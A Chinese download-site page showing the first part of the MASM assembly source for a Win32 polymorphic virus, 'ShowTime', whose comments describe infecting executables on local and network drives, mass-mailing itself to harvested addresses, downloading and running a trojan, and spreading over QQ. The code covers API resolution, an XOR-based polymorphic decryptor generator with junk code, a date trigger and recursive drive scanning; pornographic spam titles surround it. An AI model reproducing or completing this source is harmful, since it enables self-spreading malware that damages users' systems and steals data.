亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關(guān)于我們
? 蟲蟲下載站

?? win32.poly.showtime2.txt

?? 簡 介: 1. 感染本地硬盤和網(wǎng)絡(luò)上所有exe(GUI)文件  2. 搜索本地所有郵件地址
?? TXT
?? 第 1 頁 / 共 3 頁
字號(hào):
;***************************************************************
;     名  稱:Trash
;     測(cè)試平臺(tái):Win98/masmV7.0
;     
;     申明:本文僅作技術(shù)研究,否則后果自負(fù)
;注:
;  
;編譯命令行:
;     ml /c /coff poly.asm
; link /subsystem:windows /section:.text,rew poly.obj
;***************************************************************     
;;簡 介:
;1. 感染本地硬盤和網(wǎng)絡(luò)上所有exe(GUI)文件 
;2. 搜索本地所有郵件地址,將病毒作為附件發(fā)送出去 
;3. 從網(wǎng)上下載木馬程序并運(yùn)行。 
;4. 利用QQ散播消息。
;************************************************* 
;工作流程: 
;1.首先得到重定位信息,保存在ebx中. 
;2.調(diào)用GetKBase ,得到Kernel32.dll的基地址。 
;3.調(diào)用GetAPIz,得到程序?qū)⑹褂玫腒ernel32中所有API.  
;4.判斷是被感染文件還是自身.如是被感染文件則分配空間并動(dòng)態(tài)產(chǎn)生解密模塊,然后解密程序代碼。
;  否則直接到5
;5. 調(diào)用DownloadFile下載木馬程序
;6. 調(diào)用RunExe執(zhí)行木馬程序 
;7.調(diào)用DownloadFile下載郵件體hello.eml文件
;8. 啟動(dòng)發(fā)送QQ消息線程
;9. 感染本地Exe文件
;***************************************************
.386
.Model Flat, StdCall
Option Casemap :None  
;___________________________________________________________________________
include d:\masm32\useful.inc
.code 
Main:
   Flag dd 45678h
 szCaption db "ShowTime",0
 szText db "Good luck!",0
Msgbox:
   invoke MessageBox,NULL,addr szText,addr szCaption,MB_OK
invoke ExitProcess,NULL


VStart:
 call Start 
Start: 
pop ebx      ;病毒在宿主中的位置
sub ebx , offset Start 
call GetKBase  ;獲得KERNEL.DLL基地址

jnz VStar
jz VStar
db 0e9h ;花指令
VStar:
call GetAPIz;獲得病毒用到的APIs的地址
mov eax,offset Msgbox
.if Flag!=45678h;第一次運(yùn)行則不用變形
Next1:
   push PAGE_EXECUTE_READWRITE
push MEM_COMMIT
push VirusLen
push NULL
call _VirtualAlloc[ebx]
mov hMem[ebx],eax
lea esi,[offset Load+ebx]
   mov edi,hMem[ebx]
mov ecx,EncryptLen/4
   push ebx
call Metamorphosize
    pop ebx
push ebx
call hMem[ebx]
    pop ebx
.endif

call Load


;**********獲得image of kernel32.dll的基址***************** 


GetKBase: 
mov edi , [esp+04h] 
and edi , 0FFFF0000h 
.while TRUE 
.if WORD ptr [edi] == IMAGE_DOS_SIGNATURE ;判斷是否是MZ 
mov esi, edi 
add esi, DWORD ptr [esi+03Ch] ;esi指向PE標(biāo)志
.if DWORD ptr [esi] ==IMAGE_NT_SIGNATURE;是否有PE標(biāo)志

.break;如果有跳出循環(huán) 
.endif 
.endif
sub edi, 010000h 
.if edi < MIN_KERNEL_SEARCH_BASE ;win9x 
mov edi, 0bff70000h ;0bff7000h=9x"base 
.break 
.endif 
.endw 
mov hKernel32[ebx],edi;把找到的KERNEL32。DLL的基地址保存起來
ret 

GetAPIz: 
push edi
mov edx,edi ;edx->KERNEL32基地址
assume edx :ptr IMAGE_DOS_HEADER 
add edx,[edx].e_lfanew 
assume edx:ptr IMAGE_NT_HEADERS 
mov edx,[edx].OptionalHeader.DataDirectory.VirtualAddress 
add edx,hKernel32[ebx];EDX->KERNEL32輸出表地址 

assume edx:ptr IMAGE_EXPORT_DIRECTORY 
push edx
mov ebp,[edx].AddressOfNames 
add ebp,hKernel32[ebx] ;ebp->指向所有函數(shù)名的RVA數(shù)組 
push ebp
xor eax,eax ;eax為序號(hào) 

.repeat 
push 14 ;為GetProcAddress函數(shù)名的長度 
pop ecx 
mov edi,[ebp] 
add edi,hKernel32[ebx] 
lea esi,[offset nGetProcAddress+ebx] 
repz cmpsb;比較輸出表中第I個(gè)函數(shù)名是否是GetProcessAddress
.if zero? 
.break ;如果是跳出
.endif 
add ebp,4 ;下一個(gè)RVA 
inc eax ;序號(hào)加1
.until eax == [edx].NumberOfNames ;[edx].NumberOfNames為函數(shù)的個(gè)數(shù) 

mov ebp, [edx].AddressOfNameOrdinals ;指向AddressOfNames數(shù)組中相關(guān)函數(shù)的序數(shù)的16位數(shù)組
add ebp, hKernel32[ebx] 
movzx ecx, word ptr [ebp+eax*2] ;取GetProcessAddress函數(shù)的序號(hào) 
mov ebp, [edx].AddressOfFunctions ;[edx].AddressOfFunctions指向所有輸出函數(shù)的RVA數(shù)組的首址 
add ebp, hKernel32[ebx] 
mov eax, [ebp+ecx*4]
add eax,hKernel32[ebx];eax為GetProcAddress函數(shù)的地址
mov _GetProcAddress[ebx],eax
pop ebp
pop edx
pop edi
xor eax,eax ;eax為序號(hào) 

.repeat 
push 12 ;LoadLibraryA函數(shù)名的長度 
pop ecx 
mov edi,[ebp] 
add edi,hKernel32[ebx] 
lea esi,[offset nLoadLibraryA+ebx] 
repz cmpsb;比較輸出表中第I個(gè)函數(shù)名是否是LoadLibraryA
.if zero? 
.break ;如果是跳出
.endif 
add ebp,4 ;下一個(gè)RVA 
inc eax ;序號(hào)加1
.until eax == [edx].NumberOfNames ;[edx].NumberOfNames為函數(shù)的個(gè)數(shù) 

mov ebp, [edx].AddressOfNameOrdinals ;指向AddressOfNames數(shù)組中相關(guān)函數(shù)的序數(shù)的16位數(shù)組
add ebp, hKernel32[ebx] 
movzx ecx, word ptr [ebp+eax*2] ;取LoadLibraryA函數(shù)的序號(hào) 
mov ebp, [edx].AddressOfFunctions ;[edx].AddressOfFunctions指向所有輸出函數(shù)的RVA數(shù)組的首址 
add ebp, hKernel32[ebx] 
mov eax, [ebp+ecx*4]
add eax,hKernel32[ebx];eax為LoadLibraryA函數(shù)的地址
mov _LoadLibraryA[ebx],eax
lea eax,[offset nKernel+ebx]
push eax
call _LoadLibraryA[ebx]
mov DWORD ptr hKernel32[ebx],eax

GetOApiz: 

call @api_table 

db "LoadLibraryA",0 
db "CreateThread",0 
db "CreateRemoteThread",0 
db "WinExec",0 
db "CreateMutexA",0 
db "OpenMutexA",0 
db "ReleaseMutex",0 
db "FindFirstFileA",0 
db "FindNextFileA",0 
db "FindClose",0 
db "CreateFileA",0 
db "CreateFileMappingA",0 
db "MapViewOfFile",0 
db "UnmapViewOfFile",0 
db "SetFilePointer",0 
db "ReadFile",0
db "GetComputerNameA",0
db "WriteFile",0 
db "CloseHandle",0 
db "VirtualAlloc",0 
db "VirtualAllocEx",0 
db "WriteProcessMemory",0 
db "VirtualFree",0 
db "VirtualFreeEx",0 
db "lstrcmpi",0 
db "lstrcpy",0 
db "lstrcat",0 
db "lstrlen",0 
db "GetFileSize",0 
db "GetSystemDirectoryA",0 
db "GetModuleFileNameA",0 
db "Sleep",0 
db "GetSystemTime",0 
db "DeleteFileA",0 
db "OpenProcess",0 
db "GetModuleHandleA",0
db "GetCurrentDirectoryA",0
db "SetCurrentDirectoryA",0
db "ExitProcess",0
db "GetExitCodeThread",0
db "ResumeThread",0
@api_table: 
pop edi 
call @api_dest 
K_Apiz: 
_LoadLibraryA dd 0
_CreateThread  dd 0
_CreateRemoteThread dd 0 
_WinExec  dd 0
_CreateMutex  dd 0
_OpenMutex  dd 0
_ReleaseMutex  dd 0
_FindFirstFile  dd 0
_FindNextFile  dd 0
_FindClose  dd 0
_CreateFile  dd 0
_CreateFileMapping dd 0 
_MapViewOfFile  dd 0
_UnmapViewOfFile  dd 0
_SetFilePointer  dd 0
_ReadFile dd 0
_GetComputerNameA dd 0
_WriteFile  dd 0
_CloseHandle  dd 0
_VirtualAlloc  dd 0
_VirtualAllocEx  dd 0
_WriteProcessMemory  dd 0
_VirtualFree  dd 0
_VirtualFreeEx  dd 0
_lstrcmpi  dd 0
_lstrcpy  dd 0
_lstrcat  dd 0
_lstrlen  dd 0
_GetFileSize  dd 0
_GetSystemDirectory dd 0 
_GetModuleFileNameA  dd 0
_Sleep  dd 0
_GetSystemTime dd 0 
_DeleteFile  dd 0
_OpenProcess dd 0
_GetModuleHandleA dd 0
_GetCurrentDirectoryA dd 0
_SetCurrentDirectoryA dd 0
_ExitProcess dd 0
_GetExitCodeThread dd 0
_ResumeThread dd 0


K_API_NUM = ($-K_Apiz)/4 ;病毒中用到的API函數(shù)的個(gè)數(shù) 
@api_dest: 
pop esi ;esi為存放找到的函數(shù)地址數(shù)組的首址
push K_API_NUM 
pop ecx 
xor ebp,ebp 
K_begin: 
push ecx 
push edi ;edi上面定義的函數(shù)名數(shù)組的首地址 
push hKernel32[ebx] 
call _GetProcAddress[ebx] 
or eax,eax 
jz GA_Fail 
;mov edx , DWORD ptr [esi+ebp] 
mov dword ptr [esi],eax 
GA_Fail: 
xor eax,eax 
repnz scasb ;尋找字符串結(jié)束標(biāo)志0,使edi指向下個(gè)函數(shù)名 
add esi,4 
pop ecx 
loop K_begin 
call szWsock32
  db "Wsock32.dll",0
  hSock dd 0
   
szWsock32:
   call _LoadLibraryA[ebx]
mov hSock[ebx],eax 
SockApis:
call SockTable
  db "WSAStartup",0
db "socket",0
db "htons",0
db "inet_addr",0
db "connect",0
db "send",0
db "closesocket",0
db "WSACleanup",0
db "gethostbyname",0
SockTable:
  pop edi
call SockDest
S_Apiz:
_WSAStartup dd 0
_socket dd 0
_htons dd 0
_inet_addr dd 0
_connect dd 0
_send dd 0
_closesocket dd 0
_WSACleanup dd 0
_gethostbyname dd 0
S_ApiNum=($-S_Apiz)/4
SockDest:
pop esi ;esi為存放找到的函數(shù)地址數(shù)組的首址
push S_ApiNum 
pop ecx 
xor ebp,ebp 
S_begin: 
push ecx 
push edi ;edi上面定義的函數(shù)名數(shù)組的首地址 
push hSock[ebx] 
call _GetProcAddress[ebx] 
or eax,eax 
jz G_Fail 
;mov edx , DWORD ptr [esi+ebp] 
mov dword ptr [esi],eax 
G_Fail: 
xor eax,eax 
repnz scasb ;尋找字符串結(jié)束標(biāo)志0,使edi指向下個(gè)函數(shù)名 
add esi,4 
pop ecx 
loop S_begin 
call szUser32
db "User32.dll",0
szFindWindowA db "FindWindowA",0
szFindWindowExA db "FindWindowExA",0
szSendMessageA db "SendMessageA",0
szChildWindowFromPointEx db "ChildWindowFromPointEx",0
_FindWindowA dd 0
_FindWindowExA dd 0
_SendMessageA dd 0
_ChildWindowFromPointEx dd 0
szUser32:
  call _LoadLibraryA[ebx]
push esi
mov esi,eax
call szwsprintfA
db "wsprintfA",0
  _wsprintf dd 0
szwsprintfA:
   push esi
 call _GetProcAddress[ebx]
   mov DWORD ptr _wsprintf[ebx],eax
   lea ecx,[offset szFindWindowA+ebx]
 push ecx
 push esi
 call _GetProcAddress[ebx]
 mov DWORD ptr _FindWindowA[ebx],eax
 lea ecx,[offset szFindWindowExA+ebx]
 push ecx
 push esi
 call _GetProcAddress[ebx]
 mov DWORD ptr _FindWindowExA[ebx],eax
 lea ecx,[offset szSendMessageA+ebx]
 push ecx
 push esi
 call _GetProcAddress[ebx]
 mov DWORD ptr _SendMessageA[ebx],eax
 lea ecx,[offset szChildWindowFromPointEx+ebx]
 push ecx
 push esi
 call _GetProcAddress[ebx]
 mov DWORD ptr _ChildWindowFromPointEx[ebx],eax

pop esi
ret 


;變形引擎原理:
;  變形代碼由2部分組成:
;  1)一段經(jīng)過32位密鑰異或加密的代碼
;  2)由引擎隨機(jī)生成的一段對(duì)這段加密代碼進(jìn)行解碼的模塊
;從7個(gè)通用寄存器中隨機(jī)選擇3個(gè)分別作為索引寄存器,密鑰寄存器和計(jì)數(shù)寄存器。并在
;解密模塊的每條有效語句之間隨機(jī)插入1~3條垃圾代碼。 

EAX_REG = 0
ECX_REG = 1
EDX_REG = 2
EBX_REG = 3
ESP_REG = 4
EBP_REG = 5
ESI_REG = 6
EDI_REG = 7 
INDEX_REG  =  0
KEY_REG   =  1
COUNT_REG  =  2
FREE_REG1  =  3
FREE_REG2  =  4
FREE_REG3  =  5
FREE_REG4  =  6 


Random:
    push eax
    db 0Fh, 031h ;EAX=隨機(jī)數(shù)
    xor edx, edx
    div dword ptr [esp+8];EAX/種子
    pop eax
    ret 4 


routine1: 

    mov byte ptr [edi], 0B8h ;B8H為MOV EAX,XXH B9為MOV ECX,XXH...
    mov dl, byte ptr [ebx+ecx]
    add [edi], dl
    inc edi
    ret 

;產(chǎn)生垃圾代碼
GenerateGarbabyCode: 

    push eax 

    push 3       ;<決定產(chǎn)生多少條啦級(jí)代碼
    call Random     ;
    lea ecx, [edx+1]  ; 
@PL1: mov esi,[esp] ;esi指向SYSTEMTIME結(jié)構(gòu)
call _GetSystemTime[ebx]
 ;獲取當(dāng)前系統(tǒng)時(shí)間

movzx eax , word ptr [esi+6] ;[esi+6]為SYSTEMTIME結(jié)構(gòu)的天數(shù)成員 
cmp ax,14h ;20號(hào)嗎? 
jnz PL_Exit 
KILL: ;如果當(dāng)前是20號(hào)則發(fā)作
call ShowTime 
PL_Exit: 
ret 

ShowTime:

ret

;************InfectDisk*********************** 
;遍歷本地硬盤,從C盤到Z盤,調(diào)用EnumDir遍歷所有exe 
;********************************************* 
EnumDisk PROC DirName : DWORD,FileType : DWORD 

.REPEAT 
push FileType 
push DirName 
call EnumDir 

mov eax,DirName 
inc byte ptr [eax] 
mov al,byte ptr[eax] 
.UNTIL al > "z" 
mov byte ptr [eax] , "c" 

ret 8 

EnumDisk ENDP 

;************EnumDir************ 
;遍歷DirName,尋找FileType類型文件 
;******************************* 
EnumDir PROC DirName : DWORD ,FileType:DWORD 

LOCAL hSearch : DWORD 
LOCAL DirorFile[MAX_PATH] : DWORD 

pushad 
push DirName 
lea esi,DirorFile 
push esi 
call _lstrcpy[ebx]

@pushsz "\*.*" 
push esi ;DirorFile 
call _lstrcat[ebx] 

lea edi,[offset wfd+ebx] 
push edi 
push esi 
call _FindFirstFile[ebx]
cmp eax,INVALID_HANDLE_VALUE 
jz ED_Exit 
mov hSearch,eax 

.REPEAT 
.if byte ptr [wfd+44+ebx]==".";wfd.cFilename
jmp short EN_NEXT 
.endif 

push DirName 
push esi 
call _lstrcpy[ebx] 

@pushsz "\" 
push esi 
call _lstrcat[ebx] 

lea eax,[wfd+44+ebx] 
push eax 
push esi ;DirorFile 
call _lstrcat[ebx] 

mov eax , dword ptr [wfd+ebx] 
and eax , FILE_ATTRIBUTE_DIRECTORY 
.if eax ==FILE_ATTRIBUTE_DIRECTORY 
push dword ptr FileType 
push esi 
call EnumDir 
.else ;是文件 

push dword ptr FileType 
push esi 
call AnFile 
.endif 

?? 快捷鍵說明

復(fù)制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號(hào) Ctrl + =
減小字號(hào) Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
日韩三级视频在线观看| 精品国产污网站| 久久99精品国产.久久久久久| 国产午夜精品一区二区| 欧美人伦禁忌dvd放荡欲情| 国产成人无遮挡在线视频| 午夜精品视频在线观看| 欧美高清在线一区| 日韩一区二区影院| 欧美性做爰猛烈叫床潮| 成人免费高清在线| 久久97超碰国产精品超碰| 亚洲综合一二区| 国产日韩欧美制服另类| 日韩免费一区二区| 欧美日韩和欧美的一区二区| 99r精品视频| 成人天堂资源www在线| 毛片基地黄久久久久久天堂| 亚洲影视在线播放| 亚洲天堂网中文字| 国产精品欧美一区喷水| 久久蜜桃一区二区| 日韩你懂的在线观看| 91精选在线观看| 欧美日韩电影在线播放| 日韩欧美高清dvd碟片| 欧美三级韩国三级日本三斤 | 亚洲综合免费观看高清完整版在线 | 男女男精品网站| 亚洲美女屁股眼交| 国产精品超碰97尤物18| 欧美经典三级视频一区二区三区| 精品国产乱子伦一区| 日韩精品一区二区三区在线播放 | 极品少妇xxxx精品少妇偷拍| 美腿丝袜亚洲色图| 日本视频免费一区| 久久国产三级精品| 精品午夜一区二区三区在线观看| 麻豆一区二区三区| 美女性感视频久久| 久久精品国产澳门| 国产酒店精品激情| 福利视频网站一区二区三区| 高清国产一区二区| 9i看片成人免费高清| av中文字幕不卡| 色狠狠色噜噜噜综合网| 欧美性生交片4| 9191精品国产综合久久久久久| 欧美日韩午夜在线| 日韩网站在线看片你懂的| 欧美xxxxxxxx| 国产欧美精品一区二区色综合朱莉| 国产午夜精品在线观看| 国产精品久久影院| 亚洲精品视频免费看| 亚洲第一会所有码转帖| 日本一不卡视频| 国产乱色国产精品免费视频| 成人性色生活片免费看爆迷你毛片| 丁香亚洲综合激情啪啪综合| 一本到高清视频免费精品| 欧美日韩一区二区在线观看| 91麻豆精品国产91久久久久| 久久久不卡影院| 亚洲素人一区二区| 丝袜国产日韩另类美女| 国产综合色产在线精品| 97精品久久久久中文字幕| 欧美日韩成人综合| 2020国产精品自拍| 亚洲欧美一区二区久久| 三级久久三级久久| 国产电影一区在线| 久久久久国产精品厨房| 亚洲欧美在线aaa| 手机精品视频在线观看| 国产精品一区二区x88av| 91玉足脚交白嫩脚丫在线播放| 欧美亚洲国产一区在线观看网站 | 久久精品日产第一区二区三区高清版| 国产精品免费av| 亚洲va欧美va人人爽| 国产伦精品一区二区三区视频青涩| 成人黄色网址在线观看| 欧美专区亚洲专区| 久久人人超碰精品| 亚洲午夜久久久| 国产激情一区二区三区| 欧美日韩不卡一区| 亚洲国产成人在线| 日韩av一区二| 99久久久精品免费观看国产蜜| 欧美电影免费观看高清完整版在| 亚洲视频在线一区观看| 六月丁香综合在线视频| 91福利在线导航| 国产精品区一区二区三区| 蜜臀91精品一区二区三区| 日本高清无吗v一区| 国产调教视频一区| 日韩av一级片| 欧美日韩国产大片| 一区二区三区免费看视频| 成人小视频免费在线观看| 欧美tk—视频vk| 亚洲成人自拍一区| 在线视频国产一区| 中文字幕日本乱码精品影院| 极品瑜伽女神91| 日韩美女主播在线视频一区二区三区| 亚洲精品免费在线| 99久久婷婷国产综合精品| 久久免费电影网| 国产在线不卡视频| 欧美成人精品3d动漫h| 午夜视频久久久久久| 欧亚一区二区三区| 亚洲午夜久久久久久久久电影院| 成人va在线观看| 国产亚洲欧洲一区高清在线观看| 日韩av成人高清| 欧美日本在线看| 亚洲国产精品久久不卡毛片| 99v久久综合狠狠综合久久| 国产精品污www在线观看| 国产美女精品一区二区三区| 欧美mv和日韩mv的网站| 久久er99热精品一区二区| 欧美一区二区三区人| 五月天激情综合| 4438x亚洲最大成人网| 亚洲成人av资源| 在线播放亚洲一区| 亚洲不卡在线观看| 成人高清视频在线观看| 国产欧美日韩亚州综合| 国产成人欧美日韩在线电影| 久久久久综合网| 成人a级免费电影| 国产精品国产精品国产专区不片| 成人美女在线观看| 综合中文字幕亚洲| 在线观看av不卡| 亚洲va天堂va国产va久| 在线不卡a资源高清| 麻豆91精品91久久久的内涵| 欧美精品一区二区久久婷婷| 国产精品一区一区三区| 欧美韩国日本综合| 色综合天天综合狠狠| 一区二区三区.www| 欧美一级欧美一级在线播放| 久草中文综合在线| 国产精品国产精品国产专区不蜜| 91啪九色porn原创视频在线观看| 亚洲精品国久久99热| 91精品国产综合久久国产大片| 奇米精品一区二区三区四区 | 韩国欧美一区二区| 久久久99精品久久| 99久久亚洲一区二区三区青草| 亚洲国产精品嫩草影院| 日韩欧美国产麻豆| 福利电影一区二区三区| 曰韩精品一区二区| 日韩美女视频在线| 波多野结衣精品在线| 亚洲一区二区三区影院| 日韩一区二区三区免费看| 成人精品视频一区二区三区 | 国产福利一区二区| 亚洲一区二区欧美日韩| 精品国产一区二区国模嫣然| 成人av电影在线| 亚洲一区电影777| 成人久久18免费网站麻豆| 91福利区一区二区三区| 久久先锋资源网| 久久新电视剧免费观看| 久久蜜桃av一区二区天堂| 久久精品一区蜜桃臀影院| 成人av在线一区二区| 另类欧美日韩国产在线| 99热这里都是精品| 国产亚洲精品久| 久久激情五月激情| 日韩西西人体444www| 久久综合色之久久综合| 蜜臀av性久久久久蜜臀av麻豆| 成人一区二区三区中文字幕| 欧美一级免费观看| 图片区日韩欧美亚洲| 91麻豆精品国产91久久久资源速度 | 亚洲尤物视频在线| 欧美日韩二区三区| 成人永久看片免费视频天堂| 亚洲成va人在线观看|